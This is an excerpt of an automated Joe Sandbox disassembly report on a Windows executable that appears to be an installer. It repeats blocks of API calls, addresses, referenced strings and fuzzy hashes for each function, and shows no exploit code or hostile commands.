                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
                                                                                          • String ID:
                                                                                          • API String ID: 855768636-0
                                                                                          • Opcode ID: a4575d285c62c1c56b7686ad69dfdc5ef60a631fed5d3d1fc0705a1474777ead
                                                                                          • Instruction ID: f7bad605b8f68185b4e834990bb8ca2287257270a928060092b59a923d315d7c
                                                                                          • Opcode Fuzzy Hash: a4575d285c62c1c56b7686ad69dfdc5ef60a631fed5d3d1fc0705a1474777ead
                                                                                          • Instruction Fuzzy Hash: E5114A71B0030067E650BA7B8C86B5B76C9AB88748F15083FB545EB387DE7DDD094299
                                                                                          APIs
                                                                                          • OffsetRect.USER32(?,?,00000000), ref: 00495988
                                                                                          • OffsetRect.USER32(?,00000000,?), ref: 004959A3
                                                                                          • OffsetRect.USER32(?,?,00000000), ref: 004959BD
                                                                                          • OffsetRect.USER32(?,00000000,?), ref: 004959D8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: OffsetRect
                                                                                          • String ID:
                                                                                          • API String ID: 177026234-0
                                                                                          • Opcode ID: e6cd63ab1267e2bef36e0ea42f4f89ffcc49fa5b03609306a0fb63f812f5ac90
                                                                                          • Instruction ID: 9409249b62c1188f54b5b62e2685c04785358b71117f53a2337039625fc08c68
                                                                                          • Opcode Fuzzy Hash: e6cd63ab1267e2bef36e0ea42f4f89ffcc49fa5b03609306a0fb63f812f5ac90
                                                                                          • Instruction Fuzzy Hash: 1121AEB6700701AFDB00DE69CD81E5BB7DAEFC4350F248A2AF944C3249D638ED048761
                                                                                          APIs
                                                                                          • GetCursorPos.USER32 ref: 00417260
                                                                                          • SetCursor.USER32(00000000), ref: 004172A3
                                                                                          • GetLastActivePopup.USER32(?), ref: 004172CD
                                                                                          • GetForegroundWindow.USER32(?), ref: 004172D4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Cursor$ActiveForegroundLastPopupWindow
                                                                                          • String ID:
                                                                                          • API String ID: 1959210111-0
                                                                                          • Opcode ID: 0325eb73ca892009698aa7541b5e3073a06fcfb7bd7d3fb361e05756697ccdec
                                                                                          • Instruction ID: de3f0dc6b436800086b9427ec8ddd2ec86eeedce3a35093462374e80c8eda50e
                                                                                          • Opcode Fuzzy Hash: 0325eb73ca892009698aa7541b5e3073a06fcfb7bd7d3fb361e05756697ccdec
                                                                                          • Instruction Fuzzy Hash: C52183313086118AD720AFA9E945AE733F1EF44754B0544ABF8558B352DB3DDC82CB9E
                                                                                          APIs
                                                                                          • MulDiv.KERNEL32(?,00000008,?), ref: 004955F1
                                                                                          • MulDiv.KERNEL32(?,00000008,?), ref: 00495605
                                                                                          • MulDiv.KERNEL32(?,00000008,?), ref: 00495619
                                                                                          • MulDiv.KERNEL32(?,00000008,?), ref: 00495637
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
                                                                                          • Instruction ID: b77f8f3c6746ea581d036ce488ab013aedd37a602364075716cddbfd1b85439e
                                                                                          • Opcode Fuzzy Hash: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
                                                                                          • Instruction Fuzzy Hash: A5112E72604504ABCB40DEA9D8C4D9B7BECEF8D324B6441AAF908DB242D674ED408B68
                                                                                          APIs
                                                                                          • GetClassInfoA.USER32(00400000,0041F470,?), ref: 0041F4A1
                                                                                          • UnregisterClassA.USER32(0041F470,00400000), ref: 0041F4CA
                                                                                          • RegisterClassA.USER32(00499598), ref: 0041F4D4
                                                                                          • SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F50F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Class$InfoLongRegisterUnregisterWindow
                                                                                          • String ID:
                                                                                          • API String ID: 4025006896-0
                                                                                          • Opcode ID: 2789f09181fedf2aa8f29be774d1bfe7920984f559ea6f8e8637ed1726722249
                                                                                          • Instruction ID: 7a0dc659497f48f9aad4428a0df7724adcaf244520b53866b591a9b3b5545ee4
                                                                                          • Opcode Fuzzy Hash: 2789f09181fedf2aa8f29be774d1bfe7920984f559ea6f8e8637ed1726722249
                                                                                          • Instruction Fuzzy Hash: F6011B72240104AADA10EBACED81E9B33999729314B11423BB615E72A2D6399C558BAC
                                                                                          APIs
                                                                                          • WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
                                                                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
                                                                                          • CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
                                                                                          • String ID:
                                                                                          • API String ID: 4071923889-0
                                                                                          • Opcode ID: 8aa0dd6ec5a68f6f7641eb82506f7728cd0b20fc7582fe19e2ee2bc87ac6724f
                                                                                          • Instruction ID: ea90b2abd28d60bbe0c33bbe6d7a83e36ef454db8471bda6b5c19e9a906557d9
                                                                                          • Opcode Fuzzy Hash: 8aa0dd6ec5a68f6f7641eb82506f7728cd0b20fc7582fe19e2ee2bc87ac6724f
                                                                                          • Instruction Fuzzy Hash: B9012D31A006097FEB1097AA8C02F6FBBECDF49764F610127F904D72C2C5788D409A78
                                                                                          APIs
                                                                                          • FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D027
                                                                                          • LoadResource.KERNEL32(00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047CB58,0000000A,00000000), ref: 0040D041
                                                                                          • SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047CB58), ref: 0040D05B
                                                                                          • LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?), ref: 0040D065
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Resource$FindLoadLockSizeof
                                                                                          • String ID:
                                                                                          • API String ID: 3473537107-0
                                                                                          • Opcode ID: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
                                                                                          • Instruction ID: ce77ce8360aa458f47a01e9b0563465317cd85cc21d7bcd45488e041df035c61
                                                                                          • Opcode Fuzzy Hash: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
                                                                                          • Instruction Fuzzy Hash: 49F04F726056046F9B14EE59A881D5B77ECDE88268310013AF908E7286DA38DD018B68
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(?,00000000), ref: 004705F1
                                                                                          Strings
                                                                                          • Unsetting NTFS compression on file: %s, xrefs: 004705D7
                                                                                          • Failed to set NTFS compression state (%d)., xrefs: 00470602
                                                                                          • Setting NTFS compression on file: %s, xrefs: 004705BF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
                                                                                          • API String ID: 1452528299-3038984924
                                                                                          • Opcode ID: 4a85a403c5f553919e8eb8264edf58c674aea38054a880eb2495f4adb197a451
                                                                                          • Instruction ID: 452327faed6fd823952186a677ff1a78a18aba12ee86070aec797b5412e08bdc
                                                                                          • Opcode Fuzzy Hash: 4a85a403c5f553919e8eb8264edf58c674aea38054a880eb2495f4adb197a451
                                                                                          • Instruction Fuzzy Hash: A5018B71D09248A6CB04D7AD94512DDBBE49F4D314F44C5FFE459D7342DB780A088B9E
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(00000000,00000000), ref: 0046FE45
                                                                                          Strings
                                                                                          • Setting NTFS compression on directory: %s, xrefs: 0046FE13
                                                                                          • Unsetting NTFS compression on directory: %s, xrefs: 0046FE2B
                                                                                          • Failed to set NTFS compression state (%d)., xrefs: 0046FE56
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
                                                                                          • API String ID: 1452528299-1392080489
                                                                                          • Opcode ID: 01501a136b81c39b7c411191948b84cc59583678e1d21d505a98b8108a1a9e37
                                                                                          • Instruction ID: 6c3eba688a3488f6cff2036d9eec8e6f632fba0cce39d579df3f4bd3b957a0ce
                                                                                          • Opcode Fuzzy Hash: 01501a136b81c39b7c411191948b84cc59583678e1d21d505a98b8108a1a9e37
                                                                                          • Instruction Fuzzy Hash: E5014421E0824856CB04D7ADE44129DBBA49F49304F4485BBA495E7253EB790A09879B
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045B7AE,?,?,?,?,?,00000000,0045B7D5), ref: 00455DD8
                                                                                          • RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045B7AE,?,?,?,?,?,00000000), ref: 00455DE1
                                                                                          • RemoveFontResourceA.GDI32(00000000), ref: 00455DEE
                                                                                          • SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00455E02
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
                                                                                          • String ID:
                                                                                          • API String ID: 4283692357-0
                                                                                          • Opcode ID: 53be27aa0997865f395f34354d63af882f7726c3d4a8d794711f16c86898bbe7
                                                                                          • Instruction ID: 71ccc6c4ad223293e5fa71c014565a1ca4f3f808124b73c5b0663eb55104ffd2
                                                                                          • Opcode Fuzzy Hash: 53be27aa0997865f395f34354d63af882f7726c3d4a8d794711f16c86898bbe7
                                                                                          • Instruction Fuzzy Hash: 57F0BEB174070036EA10B6BAAC4BF2B26CC8F54745F10883ABA00EF2C3D97CDC04962D
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$CountSleepTick
                                                                                          • String ID:
                                                                                          • API String ID: 2227064392-0
                                                                                          • Opcode ID: dfa0650b41a5fbb69b4da717be5ba207ba5450cdb50d9376c11a56b5a3797e8a
                                                                                          • Instruction ID: 56d8cd0ebf6ab4a4d31aad6ab38b951dee0ff9c0bbbb70c30f4e079d31b44593
                                                                                          • Opcode Fuzzy Hash: dfa0650b41a5fbb69b4da717be5ba207ba5450cdb50d9376c11a56b5a3797e8a
                                                                                          • Instruction Fuzzy Hash: C6E0ED6A30921149863131AE98CA6AF4D48CBC2324B28853FE08CE6283C89C4C0A867E
                                                                                          APIs
                                                                                          • GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,004812C8,?,?,?,?,?,00498CDB,00000000), ref: 0047820D
                                                                                          • OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004812C8,?,?,?,?,?,00498CDB), ref: 00478213
                                                                                          • GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004812C8), ref: 00478235
                                                                                          • CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,004812C8), ref: 00478246
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ProcessToken$CloseCurrentHandleInformationOpen
                                                                                          • String ID:
                                                                                          • API String ID: 215268677-0
                                                                                          • Opcode ID: 89672e1c1dad377db11468aaf314ccfc00159a4e206af17bba33db1213e8e157
                                                                                          • Instruction ID: 91f0679cb69370e855683a510bc75a037ced8834772831ea40795c83ba0b1c60
                                                                                          • Opcode Fuzzy Hash: 89672e1c1dad377db11468aaf314ccfc00159a4e206af17bba33db1213e8e157
                                                                                          • Instruction Fuzzy Hash: D8F037716447007BD600E6B58C81E5B73DCEB44354F04493E7E98C71C1DA78DC089776
                                                                                          APIs
                                                                                          • GetLastActivePopup.USER32(?), ref: 0042424C
                                                                                          • IsWindowVisible.USER32(?), ref: 0042425D
                                                                                          • IsWindowEnabled.USER32(?), ref: 00424267
                                                                                          • SetForegroundWindow.USER32(?), ref: 00424271
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ActiveEnabledForegroundLastPopupVisible
                                                                                          • String ID:
                                                                                          • API String ID: 2280970139-0
                                                                                          • Opcode ID: d317456c615bf9008b67529b06aff5f9fae4f5f479d94640f2b11ca0dbd6cbb7
                                                                                          • Instruction ID: 2c5ff33fc315f6eb6fab431e1453bcb0e66c5aaaa6596e28cc8dc28fd0b03a53
                                                                                          • Opcode Fuzzy Hash: d317456c615bf9008b67529b06aff5f9fae4f5f479d94640f2b11ca0dbd6cbb7
                                                                                          • Instruction Fuzzy Hash: C7E0EC61B02672D6AE31FA7B2881A9F518C9D45BE434641EBBC04FB38ADB2CDC1141BD
                                                                                          APIs
                                                                                          • GlobalHandle.KERNEL32 ref: 0040626F
                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00406276
                                                                                          • GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040627B
                                                                                          • GlobalLock.KERNEL32(00000000), ref: 00406281
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Global$AllocHandleLockUnlock
                                                                                          • String ID:
                                                                                          • API String ID: 2167344118-0
                                                                                          • Opcode ID: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
                                                                                          • Instruction ID: 5df08fd8dc2b017785a639aa93036e57be915985ffe03f20f856cac12e18577c
                                                                                          • Opcode Fuzzy Hash: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
                                                                                          • Instruction Fuzzy Hash: 0BB009C4810A01BEEC0473B24C0BE3F245CD88172C3904A6F3448BA183987C9C405A3A
                                                                                          APIs
                                                                                          • RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047BB01,?,00000000,00000000,00000001,00000000,0047A4B5,?,00000000), ref: 0047A479
                                                                                          Strings
                                                                                          • Failed to parse "reg" constant, xrefs: 0047A480
                                                                                          • Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 0047A2ED
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Close
                                                                                          • String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
                                                                                          • API String ID: 3535843008-1938159461
                                                                                          • Opcode ID: 05ee6b3b67afee6859f894b9066335fb286a048b1f35c691c8bdca609618c678
                                                                                          • Instruction ID: 25f2a786541cb687838a6194ffc4a73185deb9e5551b5ad8c851c0bf1152322b
                                                                                          • Opcode Fuzzy Hash: 05ee6b3b67afee6859f894b9066335fb286a048b1f35c691c8bdca609618c678
                                                                                          • Instruction Fuzzy Hash: 22817274E00108AFCB10DF95D485ADEBBF9AF88344F50817AE814B7392D739AE05CB99
                                                                                          APIs
                                                                                          • GetForegroundWindow.USER32(00000000,00483716,?,00000000,00483757,?,?,?,?,00000000,00000000,00000000,?,0046BD99), ref: 004835C5
                                                                                          • SetActiveWindow.USER32(?,00000000,00483716,?,00000000,00483757,?,?,?,?,00000000,00000000,00000000,?,0046BD99), ref: 004835D7
                                                                                          Strings
                                                                                          • Will not restart Windows automatically., xrefs: 004836F6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$ActiveForeground
                                                                                          • String ID: Will not restart Windows automatically.
                                                                                          • API String ID: 307657957-4169339592
                                                                                          • Opcode ID: ceb5e1da4dc76295146827fa9bc1951038eb8722099578625e3d3877b71a3664
                                                                                          • Instruction ID: 4bdce942002d158aae482430f0c171f92fa141a3e9c551c877f01fd154286bbb
                                                                                          • Opcode Fuzzy Hash: ceb5e1da4dc76295146827fa9bc1951038eb8722099578625e3d3877b71a3664
                                                                                          • Instruction Fuzzy Hash: 7F414870648240BFD321FF68DC92B6D3BE49718B09F6448B7E440573A2E37D9A059B1D
                                                                                          APIs
